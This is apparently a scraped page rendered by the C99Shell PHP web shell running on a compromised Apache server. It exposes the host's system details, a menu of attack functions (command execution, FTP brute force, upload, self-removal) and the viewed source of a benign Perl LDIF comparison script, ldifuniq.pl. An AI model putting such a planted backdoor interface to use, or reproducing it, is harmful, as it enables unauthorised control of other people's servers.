!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-LDAP-0.33/contrib/   drwxr-xr-x
Free 3.76 GB of 27.03 GB (13.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ldifuniq.pl (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#! /usr/bin/perl

# $Id: ldifuniq.pl,v 1.1 2002/08/24 15:11:21 kartik_subbarao Exp $

=head1 NAME

ldifuniq.pl - Culls unique entries from a reference file with respect to a
comparison file.

=head1 DESCRIPTION

ldifuniq.pl takes as input two LDIF files, a reference file and a comparison
file. Each entry in the reference file is compared to its counterpart in the
comparison file. If it does not have a counterpart, or if the counterpart is
not identical, the reference entry is printed to standard output. Otherwise no
output is generated. This behavior is analogous to the -u option of the uniq
command.

=head1 SYNOPSIS

ldifuniq.pl reffile.ldif cmpfile.ldif

=head1 AUTHOR

Kartik Subbarao E<lt>subbarao@computer.orgE<gt>

=cut


use MIME::Base64;

use strict;


my $reffile = $ARGV[0];
my $cmpfile = $ARGV[1];

die "usage: $0 reffile cmpfile\n" unless $reffile && $cmpfile;

$/ = "";


sub getdn {
    my $rec = shift;
    my $dn;

    1 while s/^(dn:.*)?\n /$1/im; # Handle line continuations
    if (/^dn(::?) (.*)$/im) {
        $dn = $2;
        $dn = decode_base64($dn) if $1 eq '::';
    }

    $dn;
}

open(CMPFH, $cmpfile) || die "$cmpfile: $!\n";
my (%cmpdnpos, $pos); $pos = 0;
while (<CMPFH>) {
    my $dn = getdn($_);
    $cmpdnpos{$dn} = $pos;
    $pos = tell;
}

open(REFFH, $reffile) || die "$reffile: $!\n";
while (<REFFH>) {
    my $refrec = $_; $refrec .= "\n" if $refrec !~ /\n\n$/;
    my $dn = getdn($refrec);
    my $pos = $cmpdnpos{$dn};
    if ($pos eq undef) {
        print $refrec; next; # Not in cmpfile, print the entry.
    }
    seek(CMPFH, $pos, 0);
    my $cmprec = <CMPFH>; $cmprec .= "\n" if $cmprec !~ /\n\n$/;
    print $refrec if $refrec ne $cmprec;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0033 ]--